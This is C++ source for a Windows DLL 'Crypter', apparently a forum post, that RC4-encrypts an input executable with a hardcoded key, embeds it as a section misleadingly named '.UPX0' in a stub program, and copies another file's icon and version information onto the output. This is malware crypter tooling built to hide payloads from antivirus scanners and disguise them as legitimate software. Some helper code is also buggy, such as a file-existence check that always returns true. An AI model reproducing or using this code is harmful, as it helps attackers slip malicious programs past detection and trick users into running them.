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| #define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <io.h>
#include <fcntl.h>
#include <stdio.h>
#include <fstream>
#pragma region IconStruct
#pragma pack(push, 2)
__declspec(dllexport) typedef struct
{
WORD Reserved1;
WORD ResourceType;
WORD ImageCount;
BYTE Width;
BYTE Height;
BYTE Colors;
BYTE Reserved2;
WORD Planes;
WORD BitsPerPixel;
DWORD ImageSize;
WORD ResourceID;
} GROUPICON;
#pragma pack(pop)
#pragma endregion IconStruct
class __declspec(dllexport) Crypter {
private:
char InputFile[MAX_PATH];
char IconFile[MAX_PATH];
char VersionInput[MAX_PATH];
public:
void set_InputFilePath(char * c) {
memcpy(InputFile, c, MAX_PATH);
}
void set_IconFilePath(char * c) {
memcpy(IconFile, c, MAX_PATH);
}
void set_VersionInputPath(char * c) {
memcpy(VersionInput, c, MAX_PATH);
}
DWORD CalcAlignedSize(DWORD size, DWORD alignment)
{
DWORD alignedSize;
if (size % alignment == 0)
{
alignedSize = size;
}
else
{
alignedSize = size / alignment;
++alignedSize;
alignedSize = alignedSize * alignment;
}
return alignedSize;
}
bool AddSection(LPSTR lpFileName, char * sectionName, LPBYTE lpSection, DWORD dwSectionSize, char * newName)
{
HANDLE hOriginalFile = CreateFile(lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOriginalFile == INVALID_HANDLE_VALUE)
{
return false;
}
DWORD dwFileSize = GetFileSize(hOriginalFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE)
{
CloseHandle(hOriginalFile);
return false;
}
LPBYTE lpBuffer = (LPBYTE)malloc(dwFileSize);
DWORD dwNumberOfBytesRead = 0;
ReadFile(hOriginalFile, lpBuffer, dwFileSize, &dwNumberOfBytesRead, NULL);
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)lpBuffer;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return false;
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)(lpBuffer + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
return false;
PIMAGE_SECTION_HEADER pImageSectionHeader = IMAGE_FIRST_SECTION(pImageNtHeaders);
if (pImageNtHeaders->OptionalHeader.SizeOfHeaders - (pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (pImageNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER))) < 0)
{
free(lpBuffer);
CloseHandle(hOriginalFile);
return false;
}
DWORD originalSizeOfImage = pImageNtHeaders->OptionalHeader.SizeOfImage;
DWORD originalSizeOfHeaders = pImageNtHeaders->OptionalHeader.SizeOfHeaders;
WORD originalNumberOfSections = pImageNtHeaders->FileHeader.NumberOfSections;
DWORD pointerToLastSection = 0;
DWORD sizeOfLastSection;
DWORD virtualAddressOfLastSection;
DWORD virtualSizeOfLastSection;
for (int i = 0; i != pImageNtHeaders->FileHeader.NumberOfSections; ++i)
{
if (pointerToLastSection < pImageSectionHeader[i].PointerToRawData)
{
pointerToLastSection = pImageSectionHeader[i].PointerToRawData;
sizeOfLastSection = pImageSectionHeader[i].SizeOfRawData;
virtualAddressOfLastSection = pImageSectionHeader[i].VirtualAddress;
virtualSizeOfLastSection = pImageSectionHeader[i].Misc.VirtualSize;
}
}
IMAGE_SECTION_HEADER newImageSectionHeader;
newImageSectionHeader.Misc.PhysicalAddress = dwSectionSize;
newImageSectionHeader.Misc.VirtualSize = dwSectionSize;
CopyMemory(&newImageSectionHeader.Name, (void*)sectionName, sizeof(newImageSectionHeader.Name));
newImageSectionHeader.NumberOfLinenumbers = 0;
newImageSectionHeader.NumberOfRelocations = 0;
newImageSectionHeader.NumberOfLinenumbers = 0;
newImageSectionHeader.NumberOfRelocations = 0;
newImageSectionHeader.PointerToLinenumbers = 0;
newImageSectionHeader.PointerToRawData = CalcAlignedSize(pointerToLastSection + sizeOfLastSection, pImageNtHeaders->OptionalHeader.FileAlignment);
newImageSectionHeader.PointerToRelocations = 0;
newImageSectionHeader.SizeOfRawData = CalcAlignedSize(dwSectionSize, pImageNtHeaders->OptionalHeader.FileAlignment);
newImageSectionHeader.VirtualAddress = CalcAlignedSize(virtualAddressOfLastSection + virtualSizeOfLastSection, pImageNtHeaders->OptionalHeader.SectionAlignment);
newImageSectionHeader.Characteristics = IMAGE_SCN_MEM_READ;
++pImageNtHeaders->FileHeader.NumberOfSections;
pImageNtHeaders->OptionalHeader.SizeOfHeaders = CalcAlignedSize(pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (pImageNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER)), pImageNtHeaders->OptionalHeader.FileAlignment);
DWORD newSizeOfImage = pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (pImageNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER));
for (int i = 0; i != originalNumberOfSections; ++i)
{
newSizeOfImage += CalcAlignedSize(pImageSectionHeader[i].Misc.VirtualSize, pImageNtHeaders->OptionalHeader.SectionAlignment);
}
newSizeOfImage += CalcAlignedSize(newImageSectionHeader.Misc.VirtualSize, pImageNtHeaders->OptionalHeader.SectionAlignment);
newSizeOfImage = CalcAlignedSize(newSizeOfImage, pImageNtHeaders->OptionalHeader.SectionAlignment);
pImageNtHeaders->OptionalHeader.SizeOfImage = newSizeOfImage;
pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
HANDLE hUpdatedFile = CreateFile(newName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL);
if (hUpdatedFile == INVALID_HANDLE_VALUE)
{
free(lpBuffer);
CloseHandle(hOriginalFile);
return false;
}
DWORD dwNumberOfBytesWritten;
WriteFile(hUpdatedFile, lpBuffer, originalSizeOfHeaders, &dwNumberOfBytesWritten, NULL);
SetFilePointer(hUpdatedFile, pImageDosHeader->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)+pImageNtHeaders->FileHeader.SizeOfOptionalHeader + (originalNumberOfSections*sizeof(IMAGE_SECTION_HEADER)), NULL, FILE_BEGIN);
WriteFile(hUpdatedFile, (LPVOID)&newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER), &dwNumberOfBytesWritten, NULL);
LPBYTE sectionsData = (LPBYTE)malloc(originalSizeOfImage - originalSizeOfHeaders);
SetFilePointer(hOriginalFile, pImageNtHeaders->OptionalHeader.SizeOfHeaders, NULL, FILE_BEGIN);
ReadFile(hOriginalFile, sectionsData, originalSizeOfImage - originalSizeOfHeaders, &dwNumberOfBytesRead, NULL);
SetFilePointer(hUpdatedFile, pImageNtHeaders->OptionalHeader.SizeOfHeaders, NULL, FILE_BEGIN);
WriteFile(hUpdatedFile, sectionsData, originalSizeOfImage - originalSizeOfHeaders, &dwNumberOfBytesWritten, NULL);
free(sectionsData);
SetFilePointer(hUpdatedFile, newImageSectionHeader.PointerToRawData, NULL, FILE_BEGIN);
WriteFile(hUpdatedFile, lpSection, dwSectionSize, &dwNumberOfBytesWritten, NULL);
CloseHandle(hUpdatedFile);
free(lpBuffer);
CloseHandle(hOriginalFile);
return true;
}
void CopyVersionInfo(char * From, char * To)
{
HMODULE hFrom = NULL;
HRSRC hRsrc = NULL;
HANDLE hUpdateRes = NULL;
hFrom = LoadLibraryEx(From, NULL, LOAD_LIBRARY_AS_DATAFILE);
hUpdateRes = BeginUpdateResource(To, FALSE);
for (DWORD i = 0; i < 1050; i++)
{
hRsrc = FindResource(hFrom, MAKEINTRESOURCE(i), RT_VERSION);
if (hRsrc != NULL)
{
if (!UpdateResource(hUpdateRes, RT_VERSION, MAKEINTRESOURCE(i), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), LockResource(LoadResource(hFrom, hRsrc)), SizeofResource(hFrom, hRsrc)))
{
break;
}
}
}
EndUpdateResource(hUpdateRes, FALSE);
FreeLibrary(hFrom);
}
VOID RC4(BYTE * bytes, DWORD sizeOfBytes, CHAR * key, DWORD sizeOfKey)
{
DWORD a = 0, b = 0;
BYTE s[256], swap;
for (int i = 0; i < 256; i++) s[i] = i;
for (int i = 0; i < 256; i++)
{
b = (b + s[i] + key[i % sizeOfKey]) % 256;
swap = s[a];
s[a] = s[b];
s[b] = swap;
}
for (DWORD i = 0; i < sizeOfBytes; i++)
{
a = (a + 1) % 256;
b = (b + s[a]) % 256;
swap = s[a];
s[a] = s[b];
s[b] = swap;
bytes[i] ^= s[(s[a] + s[b]) % 256];
}
}
void AddIcon(char * ExecutableFile, char * IconFile)
{
HANDLE hWhere = BeginUpdateResource(ExecutableFile, FALSE);
char * buffer;
long buffersize;
int hFile;
hFile = _open(IconFile, O_RDONLY | O_BINARY);
if (hFile == EOF)
{
return;
}
buffersize = _filelength(hFile);
buffer = (char*)malloc(buffersize);
_read(hFile, buffer, buffersize);
_close(hFile);
UpdateResource(hWhere, RT_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), (buffer + 22), buffersize - 22);
GROUPICON grData;
grData.Reserved1 = 0;
grData.ResourceType = 1;
grData.ImageCount = 1;
grData.Width = 32;
grData.Height = 32;
grData.Colors = 0;
grData.Reserved2 = 0;
grData.Planes = 2;
grData.BitsPerPixel = 32;
grData.ImageSize = buffersize - 22;
grData.ResourceID = 1;
UpdateResource(hWhere, RT_GROUP_ICON, "MAINICON", MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), &grData, sizeof(GROUPICON));
delete buffer;
EndUpdateResource(hWhere, FALSE);
}
void ReAlignPE(char * FilePath, DWORD AmounToAdd)
{
DWORD dwBytesRead = 0;
HANDLE hFile = NULL;
DWORD dwFileSize = 0;
DWORD dwNumofSec = 0;
hFile = CreateFileA(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
dwFileSize = GetFileSize(hFile, NULL);
BYTE *pByte = new BYTE[dwFileSize];
ReadFile(hFile, pByte, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pByte;
IMAGE_NT_HEADERS *pNTHeaders = (IMAGE_NT_HEADERS *)(pDosHeader->e_lfanew + pByte);
IMAGE_OPTIONAL_HEADER *pOptHeader = (IMAGE_OPTIONAL_HEADER*)(pByte + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER));
IMAGE_SECTION_HEADER *pSectionHeaders = (IMAGE_SECTION_HEADER*)((BYTE*)pOptHeader + sizeof(IMAGE_OPTIONAL_HEADER));
pSectionHeaders[pNTHeaders->FileHeader.NumberOfSections - 1].SizeOfRawData = pSectionHeaders[pNTHeaders->FileHeader.NumberOfSections - 1].SizeOfRawData + AmounToAdd;
CopyMemory(pByte + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER), pSectionHeaders, sizeof(IMAGE_SECTION_HEADER));
hFile = CreateFileA(FilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, pByte, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
}
bool fexists(const char * filename)
{
std::ifstream ifile(filename);
return true;
}
void CryptFile(/*HWND hwnd*/)
{
if (fexists(InputFile) && fexists(VersionInput) && fexists(IconFile))
{
DWORD lpNumber = 0;
HANDLE hFile = CreateFileA(InputFile, FILE_READ_ACCESS, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD FileSize = GetFileSize(hFile, NULL);
LPVOID FileBytes = LocalAlloc(LMEM_FIXED, FileSize);
ReadFile(hFile, FileBytes, FileSize, &lpNumber, NULL);
CloseHandle(hFile);
CHAR * rc4Key = "Ia3kkwRdIzPeq3OegK";
DWORD rcKey_Length = lstrlen(rc4Key);
RC4((BYTE*)FileBytes, FileSize, rc4Key, rcKey_Length);
AddSection("Stub.exe", ".UPX0", (BYTE*)FileBytes, FileSize, "Done.exe");
ReAlignPE("Done.exe", 0);
CopyVersionInfo(VersionInput, "Done.exe");
AddIcon("Done.exe", IconFile);
}
else
{
//MessageBoxA(hwnd, "Make sure all files exists!", "Error", MB_OK | MB_ICONEXCLAMATION);
}
}
};
__declspec(dllexport) Crypter* Crypter_Create() { return new Crypter(); }
__declspec(dllexport) void Crypter_setIconFilePath(Crypter* pFoo, char * c) { pFoo->set_IconFilePath(c); }
__declspec(dllexport) void Crypter_setInputFilePath(Crypter* pFoo, char * c) { pFoo->set_InputFilePath(c); }
__declspec(dllexport) void Crypter_setVersionFilePath(Crypter* pFoo, char * c) { pFoo->set_VersionInputPath(c); }
__declspec(dllexport) void Crypter_Crypt(Crypter* pFoo) { pFoo->CryptFile(); }
__declspec(dllexport) void Crypter_Delete(Crypter* pFoo) { delete pFoo; } |
(
Сообщение от John Prick
